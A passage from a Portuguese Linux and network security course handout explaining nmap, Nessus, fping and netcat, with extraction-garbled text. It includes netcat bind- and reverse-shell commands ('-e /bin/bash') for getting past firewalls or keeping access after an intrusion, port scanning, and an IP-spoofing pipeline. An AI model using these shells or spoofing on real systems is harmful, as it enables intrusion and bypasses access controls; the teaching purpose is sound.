sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 3: Curso de segurança em linux e redes em geral

